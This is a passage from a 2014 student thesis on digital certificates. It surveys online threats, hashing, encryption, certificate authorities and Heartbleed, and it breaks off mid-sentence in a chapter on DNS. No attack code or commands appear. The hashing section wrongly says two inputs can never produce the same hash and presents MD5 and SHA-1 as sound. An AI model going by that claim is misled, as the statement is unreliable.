INVESTIGATION OF DIGITAL CERTIFICATES : Verification of reliability and resistance to external attacks by Gromyko, Evgeniia
  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Evgeniia Gromyko 
INVESTIGATION OF DIGITAL 
CERTIFICATES 
Verification of reliability and resistance to 
external attacks 
 
Bachelor’s Thesis  
Information Technology 
 
 
May 2014 
 
 
DESCRIPTION 
 
Date of the bachelor's thesis 
 
 
27.05.2014 
Author(s) 
 
Evgeniia Gromyko 
Degree programme and option 
 
Information Technology 
Name of the bachelor's thesis  
 
INVESTIGATION OF DIGITAL CERTIFICATES 
Verification of reliability and resistance to external attacks 
 
Abstract 
 
The purpose of the current study it to verify the reliability of Digital Certificates implemented on the 
websites. The thesis helps to get an idea if it is safe to use the online services for the transmission of 
confidential information. This project allows to identify the security level of HTTPS protocol and its 
ability to resist to such attacks as spoofing and man-in-the-middle. 
 
In the document the different methods to produce the attacks are presented and results are analysed 
with the disclosure of benefits and limitations of each of them. The practical part contains detailed 
information about the process of experiments and all appropriate configurations. The aim of the 
practice was to intercept the private data such as usernames and passwords transmitted through the 
secured connection. 
 
The studies shown that the usage of digital certificates does not give 100 percent guarantee of 
providing the security. Nevertheless, taking into consideration the conditions of experiments 
realization, it was concluded that for today the use of certificates is one of the most reliable ways of 
the protection. When the user executes the minimum safety requirements, the probability of data loss 
is at a quite low level. 
 
The information from this study may be used for learning, testing and improving the security level 
for websites. It can be useful for IT students, teachers, web developers and security staff. 
 
 
 
 
 
 
 
 
Subject headings, (keywords) 
 
Digital Certificate, security, SSL, BackTrack, attack, man-in-the-middle, spoofing, HTTPS, reliability 
 
Pages Language URN 
47 
 
English  
Remarks, notes on appendices  
 
 
 
Tutor 
 
Matti Koivisto 
 
Employer of the bachelor's thesis 
 
Mikkeli University of Applied Sciences 
CONTENTS 
 
1 INTRODUCTION .............................................................................................................. 1 
2 INTERNET THREATS ...................................................................................................... 2 
2.1 The most common types of online threats ................................................................... 2 
2.2 Advanced threats .......................................................................................................... 4 
2.3 Types of attack ............................................................................................................. 6 
2.4 Methods of maintenance of the Internet security ......................................................... 7 
3 DIGITAL CERTIFICATES ............................................................................................... 9 
3.1 Authentication, Integrity and Confidentiality .............................................................. 9 
3.2 Digital Certificate and digital signature ..................................................................... 14 
3.3 Certificate Authorities and types of Digital Certificates............................................ 17 
3.4 Protecting Digital Certificates ................................................................................... 19 
3.4.1 Current security challenge – Heartbleed ............................................................ 19 
4 THE DOMAIN NAME SERVICE .................................................................................. 20 
4.1 Acquaintance with DNS ............................................................................................ 20 
4.2 DNS Security ............................................................................................................. 24 
5 TESTING RELIABILITY OF HTTPS ............................................................................ 26 
5.1 Initial data and topology ............................................................................................ 27 
5.2 Spoofing the secured website .................................................................................... 28 
5.2.1 Getting the private information .......................................................................... 31 
5.3 Man-in-the-middle attack using SSLstrip .................................................................. 33 
5.3.1 SSLstrip and Arpspoof ....................................................................................... 35 
5.3.2 SSLstrip and Ettercap ......................................................................................... 37 
6 CONCLUSION ................................................................................................................ 39 
BIBLIOGRAPHY .................................................................................................................... 41 
1 
 
1 INTRODUCTION 
The number of online services is growing every day. Today, almost everyone regardless 
of age uses the Internet. Unfortunately, in addition to ordinary users there are many 
intruders, who use an access to the network and the gullibility of customers for their 
own profit. Ordinarily the Internet users often think that installed antivirus and firewall 
are all that is necessary to ensure the safety of the computer. The best minds in the IT 
industry each year create more and more new products to maintain the stability and 
security of the Internet. Consider one of them. HTTP protocol transmits data to the 
network in clear text, which means that if the attacker captured sent login and password, 
he can easily take advantage of them. HTTPS, which uses a secure SSL channel to 
transmit data, came to replace HTTP. Transmitted data is encrypted and even if 
someone intercepted the package, he or she cannot read it. This protocol is used widely 
and successfully on many sites that require enhanced protection of personal data, such 
as funds transfers. Before entering any information, the user must be sure in safety of 
the service. Green letters “HTTPS” and the lock icon give assurance of reliability of the 
site. 
This document is a half of bigger project “Investigation of Digital Certificates”. First 
part belongs to Evgeny Malygin. His work is to create Digital Certificate for a local 
website. The aim of my thesis is to check the reliability of Digital Certificates. For that 
reason firstly it is needed to investigate the topic area in theory and then implement new 
knowledge in practice.  
The chapter 2 of the theoretical part considers what dangers lurk in the global network 
- types of Internet threats and how to avoid them. In chapter 3 the basic concepts, needed 
to understand how the certification system works, is analyzed. Chapter 4 is devoted to 
the review of a DNS server and its role in the network. 
The purpose of the practical part is to check the level of reliability of HTTPS. The one 
method is to create a fake Certificate and apply it to a fake website. Another way is to 
intercept the communication and read the personal information. In chapter 5 various 
ways of spoofing secured website (with HTTPS) and man-in-the-middle attack are 
considered. To implement the practical part four virtual machines in the same local 
network with specific software are used.  
The output of the work accomplished is described in conclusion. 
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2 INTERNET THREATS 
There are variety of different types of threats on the Internet. In this section I introduce 
the most common types of them. First I start with short descriptions of viruses, worms, 
Trojan horses, phishing and spam followed by more advanced threats like Designer 
Malware, Spear Phishing, Ransomware, Root kits. Further, I briefly touch on the types 
of attacks and at the end of the chapter, consider methods of protection against Internet 
threats. 
2.1 The most common types of online threats 
Viruses 
A virus is a tiny contagium that lives inside the other alive organisms and uses them for 
reproduction. It cannot propagate independently. (Freudenrich 2013.) 
A computer virus has the same definition, only living organisms are computers in this 
case. Hereinafter, the term virus should be understood as a computer virus. 
The computer virus is malicious software that is attached to another program. It can 
copy itself and execute unexpected operations on a computer. Usually viruses have to 
be installed by user but also there are such viruses which wait for a certain time and 
then activate or they can install themselves at the first line of .exe file’s code.  
Viruses can be harmless or destructive. The first of them does not cause great harm to 
the end computer, but may be annoying when it shows infinite advertisement or pictures 
on the screen. Much more dangerous viruses are those that modify or delete data on the 
computer.  
The most common ways for infecting are the Internet, email and removable drives. 
Virus may stay on the computer for a long time. Because of coping and mutations 
antivirus program cannot detect it. (Cisco Systems Inc. 2012.) 
Worms 
Similar to regular worms tunneling through soil, computer worms go through the 
computer’s memory and hard drive. By multiplying many times they can take up all 
available memory or hard disk space. (TechTerms.com 2006.) 
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Unlike a virus, the worm does not require the user's action. It executes the code and 
copies itself into memory and hard drive, infecting one computer first, and then the 
other devices on the network. This greatly slows down the speed of the network and 
hosts. Worms are pretty dangerous type of threat, because they are capable of very rapid 
distribution. They based on weaknesses in software applications and used to exploit 
these known vulnerabilities. (Cisco Systems Inc. 2012.) 
Worms are spread via a link to a web resource, via email attachments, via peer-to-peer 
file sharing networks or as network packets. (Kaspersky Lab 2014) 
Trojan horse 
A Trojan horse is a malicious application that is disguised as a useful file. For example 
a user downloaded a game from the Internet and installed it on the computer. Without 
the user knowing, Trojan horse also was installed and started. Now the attacker can get 
different privileges such as an unauthorized remote access, passwords, stop antivirus 
programs, halt the network activity etc. (Cisco Systems Inc. 2012.) 
Symantec Corporation (2010) gives us a classification of Trojan programs by their 
functions: 
Backdoor Trojan – a primary purpose is to open a back door to allow remote access; 
Downloader – an aim is to download piece of software, usually additional malware; 
Infostealer – a goal is to steal information from the computer. 
Phishing 
Phishing is an email, website or phone call which are directed to steal the personal 
information of victim. Microsoft Corporation (2014) shows a good example how to 
recognize the phishing email (Figure 1). 
 
FIGURE 1. Phishing in an email message 
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The attacker use threats to scare the user and make him act immediately, forgetting 
about safety. Easy to expose a fraudster is his style of writing a message. Often they 
make mistakes or text looks unpresentable. Worthy companies never allow such in their 
letters. Reference is likely to launch a virus or direct to a malicious website. For more 
persuasiveness widely known companies are used that are actually fake. 
Spam 
Spam is an unsolicited commercial e-mail. Spam itself is not a malicious program, 
however, is a very popular way of transmitting viruses. It can be considered as the first 
step towards a more serious security threat. Fortunately, nowadays fewer and fewer 
people believe unknown senders. For such users spam is a garbage in their e-box, which 
is unpleasant but at least harmless.  
Spam emails are sent out in mass quantities by spammers who pursue the following 
goals: make money – if somebody will respond; run phishing scams – to get personal 
information; spread malicious code. (Kaspersky Lab 2014.) 
2.2 Advanced threats 
For a long time anti-virus system has effectively protected computers from intruders. 
With the development of malicious programs protective software develops as well. 
Modern viruses are very different from viruses of the past. Hackers have begun to write 
a more narrowly focused codes that are not always replicate, not to get into the database. 
New threats often bypass the first detection stage, pretending to be harmless, which 
undermines all the traditional security system. Hackers combine several malicious 
methods in one, which increases the chances of success.  
“Each evolving threat has a unique approach or attribute that can increase enterprise 
risk. In order to reduce risk of successful malicious code attacks, security officers should 
know the enemy. Security professionals must understand the key attributes, 
characteristics, and potential deployment scenarios of modern attacks to shore up their 
defenses” (IBM 2007, p. 4). 
Further consider more advanced network dangers, which we were not accustomed to 
hear: Designer Malware, Spear Phishing, Ransomware and Root kits. 
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Designer Malware 
Designer malware is a malicious code written for one particular company or several 
companies working in the same field. Attackers use the specifics of the system and the 
protection of the company, which increases the chances of penetration. They study the 
behavior and reaction of security system before creating a threat - how it reacts for 
different irritants. Well-designed and narrowly common codes may long remain 
unnoticed. (IBM 2007.) 
Spear Phishing 
Spear phishing is a conjunction of phishing with social engineering. It also focuses on 
one certain user or small group of people. Effective action is achieved through using 
personal information such as a name. When a person receives a letter addressed to him 
personally, correctly drawn up, from the official representation (which is actually fake) 
with any personal information included, he or she trusts the attacker easily. (Symantec 
Corporation 2014.) 
Ransomware 
Ransomware is a malicious code that encrypts important documents and requires some 
payment to get access to information again. The user must pay the money and only after 
that he will again be able to open his or her files. However, there is no guarantee that 
after the payment the access will appear.  
According to Microsoft Corporation (2014) there are two types of ransomware: 
Lock screen ransomware is a full-screen image which prevents any access on the PC; 
Encryption ransomware is a lock on files with a password, stopping opening them. 
One smart way is used to avoid people contact to the security department – this is threat. 
For example, everybody will know that the user is visiting inappropriate web sites and 
it does not matter, it is true or not. Nobody wants to be publicly humiliated. (IBM 2007.) 
Rootkit 
A rootkit allows someone to maintain command and control over a computer system, 
without the user knowing about it. Attacker works as an administrator. “This means that 
the owner of the rootkit is capable of executing files and changing system configurations 
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on the target machine, as well as accessing log files or monitoring activity to covertly 
spy on the user’s computer usage.” (Bradley 2014.) 
Rootkit is one of the most dangerous threats, for the reason that it hides malicious codes 
from detection. That works with any type of code. When malware is inside of the target 
computer, the system also cannot detect it, because rootkit hides it in the directory. 
“Using behavior-based protection technology can help to identify rootkits before they 
can establish themselves. After the rootkit hides, it may be too late and damage could 
be irreversible” (IBM 2007, p. 7). 
2.3 Types of attack 
In addition to the well-known dangers in the network there are many other types of 
threats. To better understand how to deal with them, it is necessary to classify them. All 
attacks can be divided into three types: Reconnaissance Attacks, Access Attacks and 
Denial of Service Attacks. 
Reconnaissance Attacks 
Reconnaissance attacks are aimed at collecting information about the future victims. 
Initially attackers determine active IP addresses, after that they scan ports and services 
to identify weaknesses. Unfortunately, applications for this kind of activities are in free 
circulation on the Internet. Such attacks prepare data for more malicious future 
influences. If vulnerabilities are found, then it is easier to get an access to the system 
and remain undetected. (Cisco Systems Inc. 2012.) 
Access Attacks 
Access attacks are unauthorized penetrations to the private information (for instance 
accounts, passwords, documents, etc.). Attackers exploit vulnerabilities in services for 
personal gain. 
Types of access attacks: 
Password attack. The aim is to get a password. The most common way is a dictionary 
attack, in other words password guessing using dictionaries for various languages. 
Trust exploitation. Unauthorized use of system privileges for personal gain. 
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Port redirection. A compromised system is used to install the tools for further attacks 
against other devices. 
Man-in-the-middle attack. The attacker “wedged into the conversation” between two 
users to intercept or modify the data being transmitted. 
Buffer overflow. As a result of buffer overflow old records are removed and new ones 
are added. For that reason the actual data can be overwritten by malicious codes. (Cisco 
Systems Inc. 2012; Microsoft Corporation 2014.) 
Denial of Service Attacks 
The aim is to significantly reduce applications’ performance or completely stop them, 
that is, to block access for normal operation. Implemented by sending huge number of 
requests over a network or the Internet. (Cisco Systems Inc. 2012) 
After gaining access to the network, the attacker can send invalid data to applications 
or network services, flood a computer or the entire network or block traffic. (Microsoft 
Corporation 2014) 
2.4 Methods of maintenance of the Internet security 
Talking about improving of security, I would like to clarify, what actually security is. 
Schaefer et al. (2013, 394) mention that “Security can be defined as a state of freedom 
from attack or danger.” and “… totally secure computer is one that is switched off, 
encased in concrete, and dumped at the bottom of the ocean.” They note also that there 
are very few or even no software products at all without any kind of security 
vulnerability. Even if software itself is completely bug-free, it may be compromised 
because of way in which it interacts with other systems or poor operational practices 
(for instance, weak password). Although we cannot create a perfectly secure computer, 
we should strive to this, to satisfy our needs using the computer but not turn it into a 
subject of eternal struggle. 
In the chapters above, I revealed the most famous risks in the network. However, it is 
not enough to well know the enemies, also it is necessary to know how to fight them. 
This chapter is devoted to the rules to be followed when working with a computer. There 
is no need to be an IT specialist to observe these simple conditions for one’s safety. 
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The primary tool of mitigating any types of attacks, especially viruses and Trojan 
Horses, is antivirus software. It prevents infecting of hosts and spreading malicious 
code. Nowadays it is the most widely used security product. 
Antivirus software can be updated automatically or on demand and this is the most 
critical requirement for keeping a network free of viruses. It is much easier to maintain 
up-to-date antivirus software than spend precious time to clean up infected computers 
and repair the data.  
Worms are more network-based than viruses, and they use vulnerability of the network 
to get inside. Unfortunately, updated antivirus software is not enough in that case. To 
combat worms requires more professional skills. The keys to success are a well-tuned 
network without opened backdoors and control of incoming and outgoing traffic, that 
is using of firewall and access lists. (Cisco Systems Inc. 2012.) 
As for spam and phishing, here all the responsibility rests with the user. To reduce the 
amount of spam it is possible to set up multiple email addresses, at least two: private, 
which should only be used for personal correspondence and public. 
Address have to be difficult to guess, because spammers create lists of possible email 
addresses based on different names, words, and numbers.  However, it is not enough to 
make a complicated address – avoid using the private email address on publicly 
accessible online resources. Nevertheless, in cases when you must publish the private 
address, try to mask it. For example, use “dot” and “at” instead of “.” and “@”. Also if 
there is such possibility, put the address as a picture instead of link. When spammers 
add email to their lists, the only one way to avoid spam is to change the address. 
Public email address might be used for public forum registrations, to subscribe to 
mailing lists and other Internet services.  
Simple rules, helping to avoid large amounts of spam: 
1. Change the address periodically; 
2. Never respond to any spam; 
3. Think before you click “unsubscribe”; 
4. Keep the browser updated; 
5. Use anti-spam filters. 
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Spammers collect active email addresses, therefore when you respond or click 
“unsubscribe” from unknown source, it may increase the amount of spam in the email 
box. The more user responds, the more spam he or she gets. (Kaspersky Lab 2014.) 
To conclude this section I would like to summarize the basic safety recommendations. 
1. If you do not know the source or you are unsure if a link is valid, do not click 
on it; 
2. Navigate to a site directly and verify its authenticity; 
3. Use strong passwords and change them often; 
4. Use different passwords for different goals; 
5. Secure the list of passwords in a password-protected file; 
6. Do not ever share the passwords; 
7. Always treat public wireless networks as untrusted; 
8. Control physical access to systems; 
9. Shut down unnecessary services and ports; 
10. Perform backups and test the backed up files on a regular basis; 
11. Use an anti-virus, anti-malware, and firewall software and keep them up-to-date; 
12. Avoid using untrusted computers or untrusted computer networks; 
13. Download applications from trusted companies, and check all permissions 
before completing the download. 
(Westman 2013; Cisco Systems Inc. 2012; Kaspersky Lab) 
 
3 DIGITAL CERTIFICATES 
3.1 Authentication, Integrity and Confidentiality 
In the modern world online services are becoming more popular. Without leaving home, 
it is possible to perform many things: go shopping, pay utility bills, meet friends, book 
a hotel, order a pizza and more. Given the overriding parameters of today’s human – 
time and convenience, we often do not think about the safety of such operations. In this 
chapter we will get acquainted with the base of security of transmitted data: 
Authentication, Integrity and Confidentiality. 
Authentication is a guarantee that the sender is the one by whom he calls himself. If I 
use a bank card to withdraw money, I enter PIN code, which proves that I am the owner 
of this card and gives me the right to use it. Before boarding an airplane, I give my 
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passport, which is my proof that I am the person who bought the ticket. Analogically 
with these examples, making purchases on the Internet, the user must be sure that he or 
she is on the original website of the company (not on the similar to it blende) and sends 
the money in the right direction.  
Data Integrity is a guarantee that the transmitted data has not been altered in transit. 
That is, when someone sends an ordinary letter or email, he or she expects that the 
recipient will get the same information which was forwarded. However, the letter can 
be intercepted, and the content changed. 
Data confidentiality is a guarantee that only the receiver can read the message. It means 
that even in case when the letter is intercepted, nobody can read the text and private 
information is not become public. (Cisco Systems Inc. 2012.) 
To provide these three main aspects of security, there are technologies such as 
encryption and hash. 
Hashing is based on one-way mathematical function which is quite easy to calculate, 
however, with the end result, almost impossible to get the original value. Cisco Systems 
Inc. (2012) compares it with coffee beans, which are easy to grind and cannot be 
collected back to the grain.  
There are two well-known hash functions: Message Digest 5 (MD5) and Secure Hash 
Algorithm 1 (SHA-1). I will not elaborate dwell on these functions, as they are similar, 
consider only the general principles of hashing. 
The procedure takes a data of arbitrary length and returns a fixed-length bit string called 
the hash value (Figure 2). The sender calculates the hash value and sends it together 
with message. Receiver then also calculates the hash value and they must match. This 
means that the message was not altered during transmission. With hash functions, it is 
impossible for two different sets of data to come up with the same hash output. Every 
time the data is changed, the hash value also changes.  
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FIGURE 2. Cryptographic hashing function (Cisco Systems Inc. 2012) 
Because of its irreversibility hashing cannot generally be used to ensure confidentiality. 
If the message is encrypted, nobody can read it, even the recipient. However, this 
method of encryption is used for cases when decryption is not required, such as storing 
passwords on the computer. In this case, the user knows his or her passwords, and 
nobody else can read them. But, if the password is forgotten, it must be reset, because 
there is no other way of recovering. 
Hashing only prevents the message from being changed accidentally, for example 
because of error. It is vulnerable to man-in-the-middle attacks. When the message goes 
through the network, the attacker can snap up the message, change it, recalculate the 
hash value, and attach it to the message. Nonetheless, hashing is successfully used in 
other, more advanced algorithms such as keyed-hash message authentication code 
(HMAC) and nested message authentication code (NMAC). 
HMAC combines a cryptographic hash function with a secret key. The sender puts data 
and secret key to the hashing algorithm and calculates HMAC fingerprint. Receiver 
calculates the fingerprint the same way, puts received data and secret key to the hashing 
algorithm and gets the result (Figure 3). In this case the secret keys are identical and 
they are known only to the sender and recipient. Now the attacker has to know not only 
used hashing algorithm but also the key, without the correct key it is impossible to make 
the correct fingerprint. Thus HMAC provides the integrity and authentication. 
12 
 
 
FIGURE 3. HMAC (Cisco Systems Inc. 2012) 
NMAC is similar to HMAC but it uses double keyed hashing. First a keyed hash 
function is applied to the message (input message and secret key to the hashing 
algorithm), and then this hash value is input into a second keyed function. (Koblitz & 
Menezes 2013.) Figure 4 visually demonstrates how NMAC works.  
 
FIGURE 4. NMAC 
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To provide confidentiality encryption is applied. Encryption is a process of encoding 
data and only authorized people can read it. Unlike hashing algorithm, encrypted 
message can be decrypted using a correct key. There are two basic classes of encryption 
algorithms: symmetric and asymmetric. Briefly consider the operating principles of 
these two technologies with their advantages and disadvantages. 
Symmetric encryption algorithm (also known as a shared-secret key encryption) is based 
on using the same secret key for encryption and decryption. The sender encrypts the 
plaintext message with the symmetric encryption algorithm and the shared key; sends 
the ciphertext to the recipient. After that the recipient decrypts the ciphertext back into 
plaintext with the shared key (Figure 5).  Symmetric encryption is characterized by high 
speed, because this is a simple mathematical calculations. However, its problem is that 
before starting the exchange of messages, sender and receiver must obtain the secret 
key. To ensure the confidentiality of future communications, the key must be well 
protected in transit. Examples of this algorithm are DES, 3DES, AES, IDEA etc. 
  
FIGURE 5. Symmetric encryption algorithm (Microsoft Corporation 2005) 
Asymmetric encryption algorithm (also known as public key encryption) is based on 
using different keys for encryption and decryption. The principle of Asymmetric 
encryption algorithm is illustrated in Figure 6. There are two keys: public and private. 
Everybody who wants to send an encrypted message to certain recipient must have the 
public key. This key can be transmitted openly through the Internet. Private key is 
known only to recipient and used for decryption. Accordingly, the only keeper of private 
key can read the message. Asymmetric encryption may be used for authentication as 
well. In this case public and private keys are used vice versa, that is private key for 
encryption and public key for decryption. Asymmetric encryption is much slower than 
symmetric because of difficult computational algorithms but it is more secure. This 
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algorithm have to be used in conjunction with authentication to get a proof that these 
pair of keys are from the original source. Examples of this algorithm are RSA, ElGamal 
and other. 
 
FIGURE 6. Asymmetric encryption algorithm (Microsoft Corporation 2005) 
At the end of this chapter I would like to highlight a couple of security issues related to 
encryption. First of all the encryption does not prevent data tampering. Attacker cannot 
change the plaintext in transmit, but he or she can change or delete bits in ciphertext. 
Recipient after decryption will get not the original message. For that reason 
authentication, integrity and confidentiality have to be checked simultaneously. Second 
point is that the symmetric key must be changed periodically and be difficult for 
guessing, because the attacker can collect messages and try to find the secret key 
logically. (Microsoft Corporation 2005.) 
3.2 Digital Certificate and digital signature 
A Digital Certificate is an electronic identity card, which means you can submit the 
document electronically and it will be your proof of authentication. Obtaining Digital 
Certificate, owner gets a pair of electronic keys that is used for encryption and signing 
digital information (asymmetric model). In conjunction with encryption a security level 
is increased. 
To verify that you use the secured connection, look at the address bar. HTTPS 
(HyperText Transfer Protocol Secure) uses SSL or TLS protocols to protect the data 
transmission. Green padlock and HTTPS instead of normal HTTP indicates that the 
website uses the Certificate for safety of operations. 
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A Digital Certificate typically contains the following information: 
1. Owner’s name and owner’s public key 
2. Expiration date of the public key 
3. Serial number of the Digital Certificate 
4. Name and digital signature of the issuer 
For different browsers visual design may vary, however, the logic is always the same. 
In Figure 7 the example of Digital Certificate for Mozilla Firefox is presented. 
 
 
FIGURE 7. Digital Certificate 
A digital signature is an electronic equivalent of the usual signature on paper. It ensures 
the consent of the signature’s owner with the signed document. Digital signature is 
based on a hash function and a public-key algorithm and it is even more reliable than 
handwritten, since it gives accurate information about the owner and without the private 
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key it cannot be faked. Person who signed electronic document has no right to abandon 
its conditions that guarantees the execution of obligations by all parties. A digital 
signature provides not only authentication and nonrepudiation, but also the integrity of 
the document. (Symantec Corporation 2014.) 
In conclusion, consider how to provide a completely protected messaging with three 
aspects of security: authentication, integrity and confidentiality. In Figure 8 Cisco 
Systems Inc. (2012) illustrated the conversation between Alice and Bob step by step. 
Before starting the communication Alice and Bob have got their own Digital 
Certificates, exchanged them and verified each other by using CA’s public key. After 
that procedure they have public key of the interlocutor and they can be sure of the 
authenticity of this key. 
 
FIGURE 8. Secured communication 
Step 1. Alice writes the message and encrypts it using Bob’s public key. Encrypted text 
is the guarantee of confidentiality. 
Step 2. Alice inputs the message to the hashing algorithm and gets hash value. Then she 
encrypts the hash output using her private key. This process is a digital signing, which 
provides integrity, authentication and nonrepudiation. 
Alice sends the encrypted text and encrypted hash to Bob. 
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Step 3. Now Bob has to check authentication of the message. He decrypts the hash using 
Alice’s public key to get her hash value. If the process is successful the authentication 
is verified. 
Step 4. Bob decrypts the message using his private key. He can read it already, but to 
verify the integrity he has to create the hash output of this text and compare with Alice’s 
hash output. If the values match, the integrity is verified. 
3.3 Certificate Authorities and types of Digital Certificates 
Certificate Authorities (CA) issue and sign with own private key the Digital Certificates. 
There are three topologies of trust: single-root public key infrastructure (PKI), 
hierarchical CA and cross-certified CA (Figure 9). 
 
         Single-root PKI                         Hierarchical CA              Cross-certified CA 
 
FIGURE 9. Topologies of trust (Cisco Systems Inc. 2012) 
In the single-root PKI model, a single CA issues all the Certificates to the end users. 
The topology is simple but it is difficult to scale to a large environment. This model 
uses only one private key, that is if the key is stolen, whole system fails, because in that 
case there is no trusted CA any more. 
In a hierarchical topology the root CA can issue Certificates to end-users and other 
lower-level CAs, which can also issue Certificates to end users and other CAs. The 
advantage of this model is that the private key of the root CA is rarely used, by this, the 
system is more secure. If the private key of one subordinate CA was stolen, only 
corresponding branch ceases to be trusted. The only challenge is the more CAs between 
the end user and the root CA, the more difficult to determine the signing path. 
In the cross-certified CA, multiple single-root CAs establish trust relationships 
horizontally by cross-certifying their own CA Certificates. (Cisco Systems Inc. 2012) 
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There are some types of Digital Certificates: 
By owners: 
1. Personal Certificates identify individuals. They may be used to authenticate 
users with a server, or to enable secure e-mail. 
2. Server Certificates identify servers that participate in secure communications 
with other computers. Using these Certificates a server can prove its identity to 
clients. 
3. Software publisher Certificates are used to sign software, which is distributed 
via the Internet. 
4. Certificate Authority Certificates. Root Certificates are self-signed and 
Intermediate Certificates are signed by Root CA. 
By support number of domains and subdomains: 
1. Standard Certificates are issued to protect a single domain name. 
2. WildCard Certificates allow to activate protection for one domain and many 
subdomains at the same time 
Depending on the level of confidence: 
1. Trusted Certificates are issued by CAs. Software applications (for instance 
browser) trust this Certificate automatically. Certification authority issues a 
Certificate for a certified domain name, indicates the validity of the Certificate 
(1-5 years), puts digital stamps and signatures. Thus, safety of established 
connection is guaranteed. In case of hacking of trust Certificate, responsibility 
lies only on the CA. 
2. Self-Signed Certificate can be generated independently, and the authenticity of 
the Certificate is confirmed by its creator, that is it signed by untrusted person. 
For that reason software applications do not trust Self-Signed Certificates and 
display a warning that during the session will be used untrusted Certificate. In 
case of hacking nobody will reimburse any damages. (Microsoft Corporation 
2007; Schaefer et al. 2013) 
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3.4 Protecting Digital Certificates 
VeriSign is a Symantec Corporation’s Certificate Authority, which issue Digital 
Certificates. In March 2012 Symantec Corporation published a post: “The malicious 
code, designed to commit click fraud, was signed by a legitimately issued VeriSign code 
signing certificate. This was a result of private keys being compromised at one of our 
customers. The code signing certificate used to sign the malicious code was 
authenticated and issued by VeriSign to a legitimate organization. The certificate has 
since been revoked, as it appears that the private keys, which were controlled by the 
customer, have been compromised.”  
Thus the responsibility for global security carries not only the company issues 
Certificates, but the holders of these Certificates themselves. Necessary to provide 
effective protection for the private key, because in the case of its compromising may 
suffer not only personal information, but also the whole society.  
Symantec Corporation gives some recommendations to better protect the private keys 
and Digital Certificates: 
1. Separate Test Signing and Release Signing. Using test certificates, which were 
created by an internal root certificate authority, for routine R&D software 
development tasks and business-critical private certificates to sign officially 
released software. These certificates must be stored separately. 
2. Store keys in secure location. Using safe or locked room, and ideally an 
encrypted device, like an IC card or a USB token (not a USB memory stick) or 
hardware security module (HSM). If that is not possible, digital certificates and 
private keys should be archived and protected by a strong password.  
3. Physical Security. Cameras, guards, fingerprint scanners etc. 
(Symantec Corporation 2012) 
3.4.1 Current security challenge – Heartbleed 
On April 9th and 11th “The Independent” posted articles about “catastrophic Heartbleed 
flaw”. James Vincent tells in the articles about a software bug that has gone unnoticed 
for two years. “It has exposed sensitive data in as many as two out of every three web 
servers, say researchers”. The flaw is in the web encryption software known as 
OpenSSL. This SSL technology is used by such companies as Google, Facebook and 
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Yahoo. The green padlock in the address bar of the browser has suddenly become 
useless. 
Schneier (2014), a security expert, wrote in his blog post: “The Heartbleed bug allows 
anyone on the Internet to read the memory of the systems protected by the vulnerable 
versions of the OpenSSL software. This compromises the secret keys used to identify 
the service providers and to encrypt the traffic, the names and passwords of the users 
and the actual content. This allows attackers to eavesdrop communications, steal data 
directly from the services and users and to impersonate services and users.” 
Of course, the problem was resolved quickly after its discovery, however, the 
consequences still might exist. All the major companies have fixed their services and 
changed the keys. Users are also advised to replace all their passwords. Nobody knew 
about the error for two years. Imagine how much information could be lost during this 
time, and each of us was affected in varying degrees. As an example, when my gmail 
account was compromised, I had noticed it earlier than the news came and changed the 
password. I use a strong password, which is not saved in a browser or somewhere else. 
And yet my account was visited from Brazil several times. 
Modern technologies protect customers from a variety of threats and attacks, however, 
each user should not fully rely on software and be slightly more attentive. 
 
4 THE DOMAIN NAME SERVICE  
The Domain Name Service (DNS) is a very important part of the Internet. In this chapter 
is considered its principles of operation, and then it is paid attention to the vulnerability 
of the system and methods of protection. 
4.1 Acquaintance with DNS 
DNS plays a considerable role in the global network. Its purpose is to convert a domain 
name such as www.mamk.fi into an IP address, for instance 195.148.216.131. The 
reason is that people much easier remember domain names, than a set of numbers. 
Network in its turn understands only IP addresses. Thus DNS is a kind of translator 
between the user and the computer. Also, if the company decides to change the numeric 
address, the user will not see any changes, since the domain name will remain the same 
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(www.mamk.fi). The new address will simply be linked to the existing domain name 
and connectivity is maintained. 
For the first ten years of operations, the Internet was small enough so that all of the 
domain names and IP addresses could fit in a single file named hosts.txt. However, as 
networks began to grow and the number of devices increased, this manual system 
became unworkable. The Internet’s creators realized that instead of having all of the 
hosts located in a single file, the network itself needed to provide some sort of domain 
name resolution service. 
In Figure 10 a simple schema how DNS works is presented: 
1. When the computer needs to translate a domain name to an IP address, it creates 
a certain packet called a DNS query and sends it to a nearby DNS server. Usually 
system is configured to know of several DNS servers, it can be implemented 
manually or dynamically. 
2. The DNS server may know or not know the answer. In second case it will usually 
attempt to discover the requested information. By default, the DNS server 
performs recursive queries. Recursion is a technique when the DNS server asks 
other DNS servers on behalf of the requesting client to find the IP address. 
Recursion can be disabled on the server and then it will search the answer only 
in its own data. Later in this chapter consider this in more detail. 
3. DNS response is sent back to the computer. If the DNS server did not find the 
requested information the error message will be returned. 
 
FIGURE 10. The Domain Name Service 
In the text above, it was mentioned that the DNS server connects to other servers during 
the investigation. Indeed, the network of DNS servers is a hierarchical structure 
consisting of root DNS servers, Top-level domain servers, Secondary level domain 
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servers and other lower level domain servers. Each DNS server does not contain all the 
domain names and their addresses. They only responsible for small part of entire 
structure. When a DNS server received a query for a name translation that is not within 
its zone, it forwards the query to another DNS server within the appropriate zone. Thus 
the original DNS server receives the requested information, using a series of queries 
passing through a hierarchy (Figure 11). (Garfinkel & Spafford 2002; Cisco Systems 
Inc. 2013) 
 
FIGURE 11. A hierarchy of DNS servers 
There are two types of DNS queries that can be sent to the DNS server: recursive and 
iterative. 
When the DNS server processes a recursive query it must to resolve the request even if 
it does not have an answer in local data. The DNS server sends requests (recursive or 
iterative) to other DNS servers for translations. Only after searching it returns the 
response. 
With an iterative query the DNS server responds using only local information it has, 
based on local zone files or caching. If the DNS server does not have any data that 
satisfies the request, it sends a negative response. In Figure 12 different schemes of 
obtaining IP address of certain domain name are presented. For example, client types to 
the address line “student.mamk.fi”. To get an IP address the DNS query is sent to the 
local DNS server. There are three ways how DNS system works then: 
a) All sent queries are recursive: 
1. Client sends the recursive query to the DNS server: “What is the IP address 
of student.mamk.fi?” 
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2. DNS server does not have the answer, so it sends the recursive query to the 
root DNS server: “What is the IP address of student.mamk.fi?” 
3. Root server does not have the answer, but it knows who is responsible for .fi 
zone. It sends the recursive query to the .fi DNS server: “What is the IP 
address of student.mamk.fi?” 
4. .fi DNS server does not have the answer, but it knows who is responsible for 
mamk.fi zone. It sends the recursive query to the mamk.fi DNS server: 
“What is the IP address of student.mamk.fi?” 
5. mamk.fi DNS server sends the response to the .fi DNS server: “IP address 
